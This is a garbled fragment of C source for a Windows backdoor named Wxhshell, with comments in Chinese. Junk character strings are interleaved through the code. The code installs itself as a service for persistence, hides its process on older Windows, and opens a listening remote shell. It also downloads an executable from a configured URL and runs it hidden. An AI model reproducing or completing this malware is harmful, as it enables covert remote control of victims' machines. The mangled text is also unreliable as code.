g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~/`X*n& ?B4#f!X CloseHandle(hProcess); SQKt}kDbM =2oUZjA if(strstr(procName,"services")) return 1; // 以服务启动 D&[Z;,CHMA [{PqV):p return 0; // 注册表启动 E5B8 Z?$a } H(\V+@~>AD i@$-0%, // 主模块 *e<_; Kr? int StartWxhshell(LPSTR lpCmdLine) .u< U:* { '>^Xqn SOCKET wsl; "r-l8r, BOOL val=TRUE; vO$ra5Z int port=0; 7>x;B struct sockaddr_in door; A'DVJ9%xB u3wL<$2[8 if(wscfg.ws_autoins) Install(); X7e/:._SAH sA_X<>vAKJ port=atoi(lpCmdLine);
kQ }s/* .k]#XoE if(port<=0) port=wscfg.ws_port; z/vDgH!s org*z!;. WSADATA data; Mj~${vj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s -Y +x A!;meVUs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MCAXt1sL&E setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wg1tip8s door.sin_family = AF_INET; ${e&A^h door.sin_addr.s_addr = inet_addr("127.0.0.1"); $'$>UFR door.sin_port = htons(port); R|t;p!T # ,P(isEZ" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gj`f--2GE closesocket(wsl); Ve14rn return 1; %vc'{`P } nO@+s
F f8!l7{2%q if(listen(wsl,2) == INVALID_SOCKET) { sfC@*Y2XT closesocket(wsl); ;Prg'R[o; return 1; 2k3 z'RLG } FR' b`Xv: Wxhshell(wsl); _5h0@^m7y WSACleanup(); p#M!S2&z 3o7xN=N return 0; B&nw#saz. v@,XinB[ } ' PL_~ s?<!&Y // 以NT服务方式启动 +UaO<L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dP3VJ3+
% { t~~r-V": DWORD status = 0; kGj]i@(PA4 DWORD specificError = 0xfffffff; o*)@oU drX4$Kdf] serviceStatus.dwServiceType = SERVICE_WIN32; QX/]gX serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3YRBI|XO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;@'0T4Z&l serviceStatus.dwWin32ExitCode = 0; dMgbW<uAu serviceStatus.dwServiceSpecificExitCode = 0; WH;xq^ serviceStatus.dwCheckPoint = 0; h*l4Y!7 serviceStatus.dwWaitHint = 0; t;XS;b% g)N54WV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (lb`#TTGx if (hServiceStatusHandle==0) return; &U0WkW
/Ef4EX0 status = GetLastError(); |QqWVelc if (status!=NO_ERROR) q @*UUj@ { eHROBxH& serviceStatus.dwCurrentState = SERVICE_STOPPED; WnO DDr
serviceStatus.dwCheckPoint = 0; )x9]xqoR serviceStatus.dwWaitHint = 0; iDR6?f P serviceStatus.dwWin32ExitCode = status; oP,RlR serviceStatus.dwServiceSpecificExitCode = specificError; Ebbe=4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]kH}lr
yG return; ;<VR2U` } intvlki]be |N6mTB2 serviceStatus.dwCurrentState = SERVICE_RUNNING; Qq>ElQ@ serviceStatus.dwCheckPoint = 0; aKD;1|) serviceStatus.dwWaitHint = 0; %g5jY%dg.r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @6[x%j/!bt } l^BEFk; \)s3b/oap // 处理NT服务事件,比如:启动、停止 9OhR41B VOID WINAPI NTServiceHandler(DWORD fdwControl) r)%4-XeV { %y3:SUOdx switch(fdwControl) 5A;"jp^ Z { K9LEIby case SERVICE_CONTROL_STOP: PgqECd)f serviceStatus.dwWin32ExitCode = 0; |/2LWc? serviceStatus.dwCurrentState = SERVICE_STOPPED; (S 3jZ serviceStatus.dwCheckPoint = 0; `-5cQ2>" serviceStatus.dwWaitHint = 0; &(WE]ziuO { uq]iMz> SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4=UI3 2v3 } w8U2y/:> return; <xC:Ant case SERVICE_CONTROL_PAUSE: Fv;u1Atiw serviceStatus.dwCurrentState = SERVICE_PAUSED; vFR
1UPF break; #[C<
J#; case SERVICE_CONTROL_CONTINUE: d[yrNB6| serviceStatus.dwCurrentState = SERVICE_RUNNING; r \9:<i8 break; i~(#S8U4d case SERVICE_CONTROL_INTERROGATE: 69?I?,7 break; Bac?'ypm }; _RgxKp/d SetServiceStatus(hServiceStatusHandle, &serviceStatus); `$f\ % } %d ZM9I0 JPHUmv6 // 标准应用程序主函数 nO-d"S* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2}GKHC { G)jG!`I ?V.ig // 获取操作系统版本 W6hNJb OsIsNt=GetOsVer(); h#v L5At GetModuleFileName(NULL,ExeFile,MAX_PATH); 3s#|Y,{?6R !Q[;5Lqt // 从命令行安装 W&WB@)ie if(strpbrk(lpCmdLine,"iI")) Install(); KPD@b=F ,&-S?| // 下载执行文件 }#YIl@E if(wscfg.ws_downexe) { %+/f'6kR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xAFek;GY? WinExec(wscfg.ws_filenam,SW_HIDE); fYv ;TV>73 } I4A; !2/l9SUi if(!OsIsNt) { sTJJE3TBI // 如果时win9x,隐藏进程并且设置为注册表启动 cF-Jc}h HideProc(); U<1}I.hDJ StartWxhshell(lpCmdLine); +'!h-x1y~ } p<<6}3~ else iJ5e1R8tN if(StartFromService()) eOO!jrT: // 以服务方式启动 YmdsI+DbIu StartServiceCtrlDispatcher(DispatchTable); 2K5}3<KD/ else cq-e
c7 // 普通方式启动 *G8'Fjin'T StartWxhshell(lpCmdLine); ,P;8 }yQ %?U"[F1 return 0; =]8f"wAh* }
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